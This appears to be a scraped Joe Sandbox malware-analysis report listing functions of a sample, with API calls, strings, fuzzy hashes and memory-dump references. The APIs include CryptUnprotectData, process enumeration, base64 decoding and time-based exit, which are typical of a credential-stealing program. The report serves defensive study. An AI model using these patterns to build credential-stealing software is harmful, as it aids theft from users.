Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (J@$3un$oOq|$~(x}$i{
API String ID: 0-3234530343
Opcode ID: 4528494a2db5b72f005e5c004209d02b1d603eacc69013bbe57dffcb7388cbea
Instruction ID: 5e483ca2a8357828e668efb037d5403f0b9c94579d0fe3bc2c2f80d48c8452ba
Opcode Fuzzy Hash: 4528494a2db5b72f005e5c004209d02b1d603eacc69013bbe57dffcb7388cbea
Instruction Fuzzy Hash: 72A2D6F3608204AFE3046E29EC85B7AFBE9EF94720F16493DE6C4C7744E63598058697

Function 00D9F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

{, xrefs: 00D9FA9A
\u, xrefs: 00D9FA93
{, xrefs: 00D9F9AA
}, xrefs: 00D9F99F
}, xrefs: 00D9FA8F
\u, xrefs: 00D9F9A3

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction ID: c669c2db2fe2ca561d4a7363d865115cd8bd4c9e7262e53a7c89922d94fbd64d
Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction Fuzzy Hash: 4D419112E19BC9C5CB058B7444A02AEBFB26FD6210F6D42EAC4DD5F382C774854AD3B5

Function 00D3C920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D3C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D3C97C
lstrcat.KERNEL32(?,00D50B47), ref: 00D3CA43
lstrcat.KERNEL32(?,00D50B4B), ref: 00D3CA57
lstrcat.KERNEL32(?,00D50B4E), ref: 00D3CA78

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 145af8f3c2f081dddfc1636022dd35a1377da1457587e07fb887248855242538
Instruction ID: 0e5ab5caadfb23e414ba0fccf6dc59c27266526a9d28364b76e72c90bf9fd74e
Opcode Fuzzy Hash: 145af8f3c2f081dddfc1636022dd35a1377da1457587e07fb887248855242538
Instruction Fuzzy Hash: D641417590421DDFDB20CFA4DD89BFEB7B8AB48704F1041A8F549A7280D7796A84CFA1

Function 00D46BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00D46C0C
sscanf.NTDLL ref: 00D46C39
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00D46C52
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00D46C60
ExitProcess.KERNEL32 ref: 00D46C7A

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 1f2815c5f66ac7a42da21c4ca12c619df9fdb3f3a667e4e8ae7d2db83fe357b7
Instruction ID: fc7de8b9221dd317565f690f47397fc6c82a39d8390807c995204716bcf8f0ee
Opcode Fuzzy Hash: 1f2815c5f66ac7a42da21c4ca12c619df9fdb3f3a667e4e8ae7d2db83fe357b7
Instruction Fuzzy Hash: 5721ED75D00208ABCF15DFE4E8459EEB7B5FF48300F048529E446A3254EB35A604CB65

Function 00D372A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00D372AD
RtlAllocateHeap.NTDLL(00000000), ref: 00D372B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00D372E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00D37304
LocalFree.KERNEL32(?), ref: 00D3730E

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: d5f01764cf93fdbc51a357c1c7f02b13034b98903f71cabda2c2d4302241bc47
Instruction ID: 292c38c52069bdd85d6fc9331ba600636f6ee67c86e0ddca6ac3b14eeafc7e02
Opcode Fuzzy Hash: d5f01764cf93fdbc51a357c1c7f02b13034b98903f71cabda2c2d4302241bc47
Instruction Fuzzy Hash: F90112B5A44308BBDB20DFE4DC46F9D7778AB44B00F104545FB45AB2C4D675BA008B64

Function 00D49790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D497AE
Process32First.KERNEL32(00D50ACE,00000128), ref: 00D497C2
Process32Next.KERNEL32(00D50ACE,00000128), ref: 00D497D7
StrCmpCA.SHLWAPI(?,00000000), ref: 00D497EC
CloseHandle.KERNEL32(00D50ACE), ref: 00D4980A

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 292a334acc202dbfa979999881b211db2d9ae69f2b404d6bad769f30e165b707
Instruction ID: cf3f83032378ae2d43b7c5d567c4de5a9e073c7223ec750f45086c7f563a5fa0
Opcode Fuzzy Hash: 292a334acc202dbfa979999881b211db2d9ae69f2b404d6bad769f30e165b707
Instruction Fuzzy Hash: 00012175A10208EBDB21DFA9C954BDEBBB9BF08700F104588E589E7240D779EB40CF60

Function 00D54573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON

Download Yara Rule

Strings

huzx, xrefs: 00D548F0
<7\h, xrefs: 00D54752

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <7\h$huzx
API String ID: 0-2989614873
Opcode ID: ab1d40ea7e0eeb2e93dffcc38579f2f2ae73fc34c918808c8c92b9b41b718b51
Instruction ID: f41448ea8fe2500d0d6c71474c8fea8ce53f697fbe33638cfeff7080750f63d6
Opcode Fuzzy Hash: ab1d40ea7e0eeb2e93dffcc38579f2f2ae73fc34c918808c8c92b9b41b718b51
Instruction Fuzzy Hash: 3A63533241EBD51ECB27CB3057B61517FA6BA1321231D49CECCC18F4B7C694AA1AE366

Function 01198AE7 Relevance: 6.7, Strings: 4, Instructions: 1679COMMON

Download Yara Rule

Strings

AmW?, xrefs: 01199BB0
o!wZ, xrefs: 0119990D
4q2, xrefs: 01198C96
IM?, xrefs: 0119907F

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4q2$ IM?$AmW?$o!wZ
API String ID: 0-2740203039
Opcode ID: 9abd608ae0396281b7b7cbb9fbec755498ad87602ee141c3a2f03f621039bccd
Instruction ID: b9314e2b905cfce5f739c2797205fc322d1c92585c0988b4f514da3fee96e01c
Opcode Fuzzy Hash: 9abd608ae0396281b7b7cbb9fbec755498ad87602ee141c3a2f03f621039bccd
Instruction Fuzzy Hash: 95B219F3A0C204AFE3046E29EC8577AFBE9EF94720F1A453DE6C4C7744E67558018696

Function 00D49030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00D351D4,40000001,00000000,00000000,?,00D351D4), ref: 00D49050

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 1a0a47194c8ad3acead33d5de89872b6180ed37a9f68817106958b2725f2538e
Instruction ID: 529115c4f09ee38204e2197cf7d0b2b5c5070e7aef74f19efcc7359ac9661bf4
Opcode Fuzzy Hash: 1a0a47194c8ad3acead33d5de89872b6180ed37a9f68817106958b2725f2538e
Instruction Fuzzy Hash: 54110AB4200204FFDF10CF95D894FAB73A9AF89310F108548F9698B240D776E9419B70

Function 00D3A210 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34F3E,00000000,00000000), ref: 00D3A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00D34F3E,00000000,?), ref: 00D3A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34F3E,00000000,00000000), ref: 00D3A27A
LocalFree.KERNEL32(?,?,?,?,00D34F3E,00000000,?), ref: 00D3A28F

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 7a841255defbdd5344d1122e9315b2d4d66884e7db2bd074975e9dc441f46d16
Instruction ID: 511d486c6c07bd5ac817510d537d6015846bce6475bdccb7ae7b92cb9c51bf86
Opcode Fuzzy Hash: 7a841255defbdd5344d1122e9315b2d4d66884e7db2bd074975e9dc441f46d16
Instruction Fuzzy Hash: AA11A474240308AFEB11CF64C895FAA77B5EB89B10F208458FD559B380C776A941CB54

Function 00D47BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0167E500,00000000,?,00D50DF8,00000000,?,00000000,00000000), ref: 00D47BF3
RtlAllocateHeap.NTDLL(00000000), ref: 00D47BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0167E500,00000000,?,00D50DF8,00000000,?,00000000,00000000,?), ref: 00D47C0D
wsprintfA.USER32 ref: 00D47C47

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 8be2dc8e31629419e4ba48b41958d9a7e15829b9bb4e3d040853d69b5c1b69e6
Instruction ID: 06f9605e2be4121497cd3ac3b7a6d6e7c688449c9533ac2451234ef93da9cc20
Opcode Fuzzy Hash: 8be2dc8e31629419e4ba48b41958d9a7e15829b9bb4e3d040853d69b5c1b69e6
Instruction Fuzzy Hash: 2E11A1B1A05219EFEB20DB54DC45FA9BB78FB44711F1043E5FA59932C0D7786A448B60

Function 01188284 Relevance: 5.4, Strings: 3, Instructions: 1621COMMON

Download Yara Rule

Strings

C)&l, xrefs: 011885E0
zgeq, xrefs: 0118955C
3z, xrefs: 011887D3

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3z$C)&l$zgeq
API String ID: 0-1430241905
